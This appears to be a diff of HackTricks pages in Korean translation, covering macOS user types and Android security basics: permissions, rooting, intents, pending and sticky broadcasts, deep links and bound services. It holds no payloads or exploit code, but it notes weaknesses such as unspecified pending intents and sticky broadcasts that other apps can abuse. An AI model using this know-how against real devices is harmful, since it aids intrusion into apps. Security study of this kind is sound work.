_unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||||
```
|
```
|
||||||
* **게스트**: 매우 엄격한 권한을 가진 게스트용 계정
|
* **Guest**: 매우 제한된 권한을 가진 손님 계정
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* **Nobody**: 최소 권한이 필요한 프로세스가 이 사용자로 실행됩니다.
|
* **아무도**: 최소한의 권한이 필요할 때 이 사용자로 프로세스가 실행됩니다.
|
||||||
* **Root**
|
* **루트**
|
||||||
|
|
||||||
### 사용자 권한
|
### 사용자 권한
|
||||||
|
|
||||||
* **표준 사용자**: 가장 기본적인 사용자입니다. 이 사용자는 소프트웨어를 설치하거나 다른 고급 작업을 수행할 때 관리자 사용자로부터 권한 부여를 받아야 합니다. 스스로 할 수는 없습니다.
|
* **표준 사용자:** 가장 기본적인 사용자입니다. 이 사용자는 소프트웨어를 설치하거나 다른 고급 작업을 수행할 때 관리자 사용자로부터 부여된 권한이 필요합니다. 스스로 할 수 없습니다.
|
||||||
* **관리자 사용자**: 대부분의 시간을 표준 사용자로서 작동하지만 소프트웨어를 설치하고 다른 관리 작업과 같은 루트 작업을 수행할 수 있는 사용자입니다. 관리자 그룹에 속한 모든 사용자는 **sudoers 파일을 통해 루트 액세스를 받습니다**.
|
* **관리자 사용자**: 대부분의 경우 표준 사용자로 운영되지만 소프트웨어 설치 및 기타 관리 작업과 같은 루트 작업을 수행할 수 있는 권한이 부여된 사용자입니다. 관리자 그룹에 속한 모든 사용자는 **sudoers 파일을 통해 루트에 접근할 수 있습니다**.
|
||||||
* **Root**: 루트는 거의 모든 작업을 수행할 수 있는 사용자입니다 (시스템 무결성 보호와 같은 제한 사항이 있습니다).
|
* **루트**: 루트는 거의 모든 작업을 수행할 수 있는 사용자입니다(시스템 무결성 보호와 같은 보호에 의해 제한이 있습니다).
|
||||||
* 예를 들어 루트는 `/System` 내부에 파일을 넣을 수 없습니다.
|
* 예를 들어 루트는 `/System` 내부에 파일을 배치할 수 없습니다.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,20 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Android Security Model
|
## Android Security Model
|
||||||
|
|
||||||
**두 개의 레이어가 있습니다:**
|
**두 개의 레이어가 있습니다:**
|
||||||
|
|
||||||
* **OS**, 설치된 애플리케이션을 서로 격리합니다.
|
* **OS**는 설치된 애플리케이션을 서로 격리합니다.
|
||||||
* **애플리케이션 자체**, 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있게 합니다.
|
* **애플리케이션 자체**는 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있게 합니다.
|
||||||
|
|
||||||
### UID Separation
|
### UID Separation
|
||||||
|
|
||||||
|
@ -36,44 +28,44 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
### UID Sharing
|
### UID Sharing
|
||||||
|
|
||||||
**두 개의 애플리케이션이 동일한 UID를 사용하도록 구성될 수 있습니다**. 이는 정보를 공유하는 데 유용할 수 있지만, 그 중 하나가 손상되면 두 애플리케이션의 데이터가 모두 손상됩니다. 그래서 이러한 행동은 **권장되지 않습니다**.\
|
**두 개의 애플리케이션이 동일한 UID를 사용하도록 구성될 수 있습니다**. 이는 정보를 공유하는 데 유용할 수 있지만, 그 중 하나가 손상되면 두 애플리케이션의 데이터가 모두 손상될 수 있습니다. 그래서 이러한 행동은 **권장되지 않습니다**.\
|
||||||
**동일한 UID를 공유하려면, 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의해야 합니다.**
|
**동일한 UID를 공유하려면 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의해야 합니다.**
|
||||||
|
|
||||||
### Sandboxing
|
### Sandboxing
|
||||||
|
|
||||||
**안드로이드 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있게 합니다**. 각 프로세스는 자신의 가상 머신을 가지고 있어, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\
|
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있게 합니다**. 각 프로세스는 자신의 가상 머신을 가지므로, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\
|
||||||
안드로이드 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그들 간의 **예상되는 상호작용만 허용하는 정책을 생성합니다**.
|
Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그 후 **예상되는 상호작용만 허용하는 정책을 생성합니다**.
|
||||||
|
|
||||||
### Permissions
|
### Permissions
|
||||||
|
|
||||||
애플리케이션을 설치할 때 **권한을 요청하는 경우**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성 내에서 요청된 권한의 이름을 나타냅니다.** 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\
|
애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\
|
||||||
안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만 모든 권한은 **매니페스트에 **선언되어야 합니다.**
|
안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만 모든 권한은 매니페스트에 **명시되어야 합니다.**
|
||||||
|
|
||||||
앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\
|
앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\
|
||||||
권한 요소는 세 가지 속성을 가집니다:
|
권한 요소는 세 가지 속성을 가집니다:
|
||||||
|
|
||||||
* 권한의 **이름**
|
* 권한의 **이름**
|
||||||
* 관련 권한을 그룹화할 수 있는 **permission-group** 속성.
|
* 관련 권한을 그룹화할 수 있는 **permission-group** 속성
|
||||||
* 권한이 부여되는 방식을 나타내는 **protection-level**. 네 가지 유형이 있습니다:
|
* 권한이 부여되는 방식을 나타내는 **protection-level**. 네 가지 유형이 있습니다:
|
||||||
* **Normal**: 앱에 **알려진 위협이 없을 때** 사용됩니다. 사용자가 **승인할 필요가 없습니다**.
|
* **Normal**: 앱에 **알려진 위협이 없을 때** 사용됩니다. 사용자가 **승인할 필요가 없습니다**.
|
||||||
* **Dangerous**: 요청하는 애플리케이션에 **상승된 접근 권한**을 부여하는 권한을 나타냅니다. **사용자에게 승인을 요청합니다**.
|
* **Dangerous**: 요청하는 애플리케이션에 **상승된 접근**을 부여하는 권한을 나타냅니다. **사용자에게 승인을 요청합니다**.
|
||||||
* **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만 권한을 부여받을 수 있습니다**. 이는 가장 강력한 보호 유형입니다.
|
* **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만 권한을 부여받을 수 있습니다**. 이는 가장 강력한 보호 유형입니다.
|
||||||
* **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나 **시스템 수준 접근 권한으로 실행되는 앱만 권한을 부여받을 수 있습니다**.
|
* **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나 **시스템 수준 접근으로 실행되는 앱만 권한을 부여받을 수 있습니다**.
|
||||||
|
|
||||||
## Pre-Installed Applications
|
## Pre-Installed Applications
|
||||||
|
|
||||||
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 그 중 일부는 **최적화되어 있습니다** (심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다 (루트 권한으로).
|
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 그 중 일부는 **최적화되어 있습니다** (심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다 (루트 권한으로).
|
||||||
|
|
||||||
* **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것들
|
* **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것
|
||||||
* 장치 **제조업체**에 의해 추가된 것들
|
* 장치 **제조업체**에 의해 추가된 것
|
||||||
* **전화 제공업체**에 의해 추가된 것들 (그들로부터 구매한 경우)
|
* 셀 **전화 제공업체**에 의해 추가된 것 (그들로부터 구매한 경우)
|
||||||
|
|
||||||
## Rooting
|
## Rooting
|
||||||
|
|
||||||
물리적 안드로이드 장치에 루트 접근을 얻기 위해 일반적으로 **1개 또는 2개의 취약점을 **악용해야 합니다**, 이는 **장치** 및 **버전**에 **특정**입니다.\
|
물리적 안드로이드 장치에서 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 **악용해야 합니다**. 이는 **장치**와 **버전**에 **특정**인 경우가 많습니다.\
|
||||||
익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다.
|
익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다.
|
||||||
|
|
||||||
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser** 및 **SuperSU** (Google Play 스토어에서 사용 가능).
|
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser**와 **SuperSU** (Google Play 스토어에서 사용 가능)와 같은 앱이 있습니다.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
루팅 과정은 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다.
|
루팅 과정은 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다.
|
||||||
|
@ -84,7 +76,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||||
**커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\
|
**커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\
|
||||||
**OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
|
**OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
|
||||||
|
|
||||||
**커스텀 펌웨어를 설치하기 위해 장치를 루팅할 필요는 항상 없습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제하는 것을 허용합니다.
|
**커스텀 펌웨어를 설치하기 위해 장치를 루팅할 필요는 항상 없습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제할 수 있도록 허용합니다.
|
||||||
|
|
||||||
### Implications
|
### Implications
|
||||||
|
|
||||||
|
@ -92,7 +84,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||||
|
|
||||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 언급됩니다. 본질적으로 **ZIP 파일**입니다 (파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다).
|
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_이라고 합니다. 본질적으로 **ZIP 파일**입니다 (파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다).
|
||||||
- APK 내용 (포괄적이지 않음)
|
- APK 내용 (포괄적이지 않음)
|
||||||
- **AndroidManifest.xml**
|
- **AndroidManifest.xml**
|
||||||
- resources.arsc/strings.xml
|
- resources.arsc/strings.xml
|
||||||
|
@ -117,7 +109,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||||
|
|
||||||
안드로이드 개발에서는 **Java 또는 Kotlin**을 사용하여 앱을 생성합니다. 데스크톱 앱처럼 JVM을 사용하는 대신, 안드로이드는 이 코드를 **Dalvik Executable (DEX) 바이트코드**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 이제는 최신 안드로이드 버전에서 Android Runtime (ART)가 이를 처리합니다.
|
안드로이드 개발에서는 **Java 또는 Kotlin**을 사용하여 앱을 생성합니다. 데스크톱 앱처럼 JVM을 사용하는 대신, 안드로이드는 이 코드를 **Dalvik Executable (DEX) 바이트코드**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 이제는 최신 안드로이드 버전에서 Android Runtime (ART)가 이를 처리합니다.
|
||||||
|
|
||||||
리버스 엔지니어링을 위해 **Smali**가 중요해집니다. 이는 DEX 바이트코드의 사람이 읽을 수 있는 버전으로, 소스 코드를 바이트코드 명령어로 변환하는 어셈블리 언어처럼 작용합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 분해 도구를 나타냅니다.
|
리버스 엔지니어링을 위해 **Smali**가 중요해집니다. 이는 DEX 바이트코드의 사람이 읽을 수 있는 버전으로, 소스 코드를 바이트코드 명령어로 변환하는 어셈블리 언어와 유사합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 분해 도구를 나타냅니다.
|
||||||
|
|
||||||
## Intents
|
## Intents
|
||||||
|
|
||||||
|
@ -138,11 +130,11 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||||
|
|
||||||
**인텐트 필터**는 **활동, 서비스 또는 브로드캐스트 수신자가 다양한 유형의 인텐트와 상호작용할 수 있는 방법을 정의합니다**. 본질적으로, 이들은 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트의 종류를 나타냅니다. 이러한 필터를 선언하는 주요 장소는 **AndroidManifest.xml 파일** 내에 있지만, 브로드캐스트 수신자의 경우 코딩하는 것도 옵션입니다.
|
**인텐트 필터**는 **활동, 서비스 또는 브로드캐스트 수신자가 다양한 유형의 인텐트와 상호작용할 수 있는 방법을 정의합니다**. 본질적으로, 이들은 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트의 종류를 나타냅니다. 이러한 필터를 선언하는 주요 장소는 **AndroidManifest.xml 파일** 내에 있지만, 브로드캐스트 수신자의 경우 코딩하는 것도 옵션입니다.
|
||||||
|
|
||||||
인텐트 필터는 카테고리, 작업 및 데이터 필터로 구성되며, 추가 메타데이터를 포함할 수 있습니다. 이 설정은 구성 요소가 선언된 기준에 맞는 특정 인텐트를 처리할 수 있게 합니다.
|
인텐트 필터는 카테고리, 작업 및 데이터 필터로 구성되며, 추가 메타데이터를 포함할 수 있는 가능성이 있습니다. 이 설정은 구성 요소가 선언된 기준에 맞는 특정 인텐트를 처리할 수 있게 합니다.
|
||||||
|
|
||||||
안드로이드 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신자)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`exported`** 속성이 **`true`**로 설정되어 있거나 매니페스트에 인텐트 필터가 선언되어 있으면, 해당 구성 요소는 공개로 간주되며 다른 앱과 상호작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 다른 앱과 의도치 않게 상호작용하지 않도록 할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성됩니다.
|
안드로이드 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신자)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`exported`** 속성이 **`true`**로 설정되거나 매니페스트에 인텐트 필터가 선언되면, 해당 구성 요소는 공개로 간주되며 다른 앱과 상호작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 다른 앱과 의도치 않게 상호작용하지 않도록 할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성됩니다.
|
||||||
|
|
||||||
또한, 개발자는 특정 권한을 요구하여 이러한 구성 요소에 대한 접근을 더욱 안전하게 할 수 있는 옵션이 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 구성 요소에 접근할 수 있도록 강제할 수 있으며, 이는 누가 상호작용할 수 있는지에 대한 추가 보안 및 제어 계층을 추가합니다.
|
또한, 개발자는 특정 권한을 요구하여 이러한 구성 요소에 대한 접근을 추가로 보안할 수 있는 옵션이 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 구성 요소에 접근할 수 있도록 강제할 수 있으며, 이는 누가 상호작용할 수 있는지에 대한 추가 보안 및 제어 계층을 추가합니다.
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
|
@ -167,11 +159,11 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E
|
||||||
```
|
```
|
||||||
An intent-filter는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다.
|
An intent-filter는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다.
|
||||||
|
|
||||||
"Intent resolution" 프로세스는 각 메시지를 수신할 앱을 결정합니다. 이 프로세스는 **priority attribute**를 고려하며, 이는 i**ntent-filter 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면, **사용자가 결정할 수 있도록** "choser" 창이 나타납니다.
|
"Intent resolution" 프로세스는 각 메시지를 수신할 앱을 결정합니다. 이 프로세스는 **priority attribute**를 고려하며, 이는 i**ntent-filter 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "choser" 창이 나타나 **사용자가 결정할 수 있습니다**.
|
||||||
|
|
||||||
### Explicit Intents
|
### Explicit Intents
|
||||||
|
|
||||||
명시적 인텐트는 타겟으로 하는 클래스 이름을 지정합니다:
|
명시적 인텐트는 타겟팅하는 클래스 이름을 지정합니다:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
|
@ -183,26 +175,26 @@ context.startService(intent);
|
||||||
```
|
```
|
||||||
### Pending Intents
|
### Pending Intents
|
||||||
|
|
||||||
이것은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 행동을 취할 수 있게** 해주며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 행동을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 행동을 수행할 수 있습니다**. 게다가, **행동이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 행동이든 할 수 있습니다**.
|
이것은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 행동을 취할 수 있게** 해주며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 행동을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출될 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 행동을 수행할 수 있습니다**. 게다가, **행동이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 행동이든 할 수 있습니다**.
|
||||||
|
|
||||||
### Broadcast Intents
|
### Broadcast Intents
|
||||||
|
|
||||||
이전의 의도와 달리, 단일 앱만 수신하는 것이 아니라, broadcast intents는 **여러 앱이 수신할 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.setPackage를 사용하여.
|
이전의 의도와 달리, 단일 앱만 수신하는 것이 아니라, broadcast intents는 **여러 앱에서 수신될 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.set Package를 사용하여.
|
||||||
|
|
||||||
또한 **브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다.
|
또한 **브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다.
|
||||||
|
|
||||||
브로드캐스트에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **정렬된** (동기). **순서**는 **수신자** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제할 수 있습니다.**
|
브로드캐스트에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **정렬된** (동기). **순서**는 **수신기** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제할 수 있습니다.**
|
||||||
|
|
||||||
`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트**를 **보낼** 수 있습니다.\
|
`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트**를 **보낼** 수 있습니다.\
|
||||||
또한 **`LocalBroadCastManager`**의 **`sendBroadcast`** 함수를 사용하면 **메시지가 앱을 떠나지 않도록** 보장합니다. 이를 사용하면 수신자 구성 요소를 내보낼 필요조차 없습니다.
|
또한 **`LocalBroadCastManager`**의 **`sendBroadcast`** 함수를 사용하면 **메시지가 앱을 떠나지 않도록** 보장합니다. 이를 사용하면 수신기 구성 요소를 내보낼 필요조차 없습니다.
|
||||||
|
|
||||||
### Sticky Broadcasts
|
### Sticky Broadcasts
|
||||||
|
|
||||||
이런 종류의 브로드캐스트는 **전송된 후 오랜 시간 동안 접근할 수 있습니다**.\
|
이러한 종류의 브로드캐스트는 **전송된 후 오랜 시간 동안 접근할 수 있습니다**.\
|
||||||
이것은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장됩니다**.\
|
이것은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장됩니다**.\
|
||||||
**이들은 어떤 애플리케이션이 데이터를 엿볼 수 있게 할 뿐만 아니라 수정할 수도 있습니다.**
|
**이들은 모든 애플리케이션이 데이터를 엿볼 수 있게 하지만, 또한 수정할 수 있게 합니다.**
|
||||||
|
|
||||||
"sticky"라는 단어가 포함된 함수, 예를 들어 **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**를 발견하면, **영향을 확인하고 제거하려고 시도하세요**.
|
"sticky"라는 단어가 포함된 함수(예: **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**)를 발견하면, **영향을 확인하고 제거하려고 시도하세요**.
|
||||||
|
|
||||||
## Deep links / URL schemes
|
## Deep links / URL schemes
|
||||||
|
|
||||||
|
@ -243,21 +235,21 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](./#exp
|
||||||
|
|
||||||
### 주요 개념
|
### 주요 개념
|
||||||
|
|
||||||
- **바운드 서비스**: 이러한 서비스는 IPC를 위해 AIDL을 사용하여 액티비티나 컴포넌트가 서비스에 바인딩하고 요청을 하며 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메소드는 상호작용을 시작하는 데 중요하며, 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
- **바운드 서비스**: 이러한 서비스는 IPC를 위해 AIDL을 사용하여 액티비티나 구성 요소가 서비스에 바인딩하고 요청을 하며 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메소드는 상호작용을 시작하는 데 중요하며, 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||||
|
|
||||||
